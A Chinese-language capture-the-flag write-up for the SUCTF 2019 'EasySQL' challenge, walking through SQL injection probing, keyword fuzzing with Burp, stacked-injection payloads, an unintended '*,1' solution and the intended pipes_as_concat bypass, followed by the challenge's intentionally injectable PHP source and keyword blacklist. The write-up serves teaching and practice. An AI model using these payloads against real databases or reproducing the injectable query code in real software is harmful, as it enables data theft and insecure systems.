[SUCTF 2019]EasySQL

坚持第五天,又是SQL,看来这几天注入学的很透彻,先尽量手注,得找个时间把sqlmap好好学一学,自动化一点比较省事😜

我的思路

打开界面长这样在这里插入图片描述

直接注入不搞花里胡哨的,先常规步骤

payload=1        //正常按照id查找回显
payload=1'       //没有回显,可能存在注入
payload=1'#     //也没有回显

这里最后一个没回显判断不是字符型注入,可能就是数字型

payload=2-1    //输出和1一样的结果,确定数字型注入

确定数字型之后,也就不需要引号闭合了,只需要在注入语句后搞个#注释后面的就行了,后面继续探究,可以肯定的是这里把报错输出给关掉了,可能是盲注之类的把,再试一下

payload=1 order by 1#

在这里插入图片描述
被拒绝了,看来是有过滤🙄尝试盲注

payload=1 and length(database())>=1#

也是nonono,看来是过滤了,这里究竟过滤了哪些字段,用burpsuite的intruder来fuzz一下过滤字段,这里强烈推荐burp suite的免费版,不要在网上搞那些花里胡哨的版本,一是容易有木马,二是不是正版安装麻烦,三是无法更新,什么pycharm,xshell也是一样,老老实实community他不香吗
拥有了它,你就拥有了最新版功能,专属浏览器抓包,无需设置代理,纯净无捆绑,官方正版,下载即可打开,永久免费,而且以我现在的水平用不到高级版的特殊功能🤪
在这里插入图片描述
咳咳,回归正题,看fuzz结果,这里的fuzz字典直接网上找即可
在这里插入图片描述
具体看包就知道507是nonono,也就是被过滤了,523是正常返回,500无回显也就是报错,盲注过滤了这些字段是不行的,盲注还没有认真研究过,以后碰到相关问题再研究一下,反正这里就得使用其它的方式,前几天搞了个堆叠注入,不知是否可行,试一试

payload=1;show databases;#

在这里插入图片描述还真可以,这下舒服了,看来堆叠注入适用范围蛮广的嘛,看表,只有一个就叫flag,所以查表必然是这个表
在这里插入图片描述

不过这题牛逼了啊,把Flag这个字段给过滤掉了,任何对其的查询都不可用,,这里尝试了show columns和desc两种方式都不行,到这确实没啥思路了,百度一下,似乎大家都是这里卡住了去看大佬的方法,看来大家水平差不多嘛,我也不差👨‍🎓

大佬思路

去对后端语句进行猜测,猜测依据如下:

通过输入非零数字得到的回显1和输入其余字符得不到回显,由此来判断出内部的查询语句可能存在有或字段
select 输入的数据 现有列名 from 表名
即为select $a || flag from Flag

这是怎么猜到的呢,我觉得需要长时间的积累,但是对此的解释我一定要解释清楚,网上其它的wp大家好像水平都很高,对这个是什么性质都没有解释,对后面那个现有列名怎么来的也没有解释,估计是觉得很简单把,我比较菜,就自己用MYSQL做了个小实验,如下,使用phpstudy中的MySQL直接进行实验
在这里插入图片描述操作后建了如下表
在这里插入图片描述
算是满足了题目要求,现在开始验证题目中的或的性质
在这里插入图片描述在这里插入图片描述
以下是我的猜测,不一定正确,经过上面的尝试可以发现,MySQL里面的默认||,作用是先将两边的值类型强制转换为bool值类型,非0数字的bool值为1,字符串的bool值为0,和数字0的bool值一样都是0,所以select +非0数字,回显值永远为1,算是“查到了”,而且或在其前面的已经查到的情况下,不会去执行或后面的语句,而或后面的值flag里的字段为字符串值,在bool值转换时被转换为0,所以当前面输入bool值为0的时候,后面也查不到,就会没有回显,这就是除了非零数字,其余输入看不到回显的原因。
知道构造之后就有两种解法

非预期解

原有的语句是

$sql = "select ".$post['query']."||flag from Flag";

这里构造payload

payload=*,1

改变后的结果是

$sql = "select *,1||flag from Flag";

直接一波全注出来了
在这里插入图片描述
但既然这题是考察堆叠注入,那应该不是想这么做的,应该是出题人忘记过滤*了,我在这也将 * 加入了fuzz词典里方便以后做题

预期解

其实这题难点在猜语句结构,猜出来了就没难度了,都可以堆叠注入了,那自然有的是办法绕过
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能

payload=1;set sql_mode=pipes_as_concat;select 1

这样语句就变成了查完1再查flag

select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag

直接读出flag,这里不能使用预编译的原因是首先有长度限制,第二from等关键字也被过滤了,所以不能使用。

源码

可以看到过滤确实十分严格,再严格一点把*和concat都过滤掉,这样就更加安全了,也就没人能做出来了

<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

?>
posted @ 2021-08-19 23:18  pinfu  阅读(545)  评论(0)    收藏  举报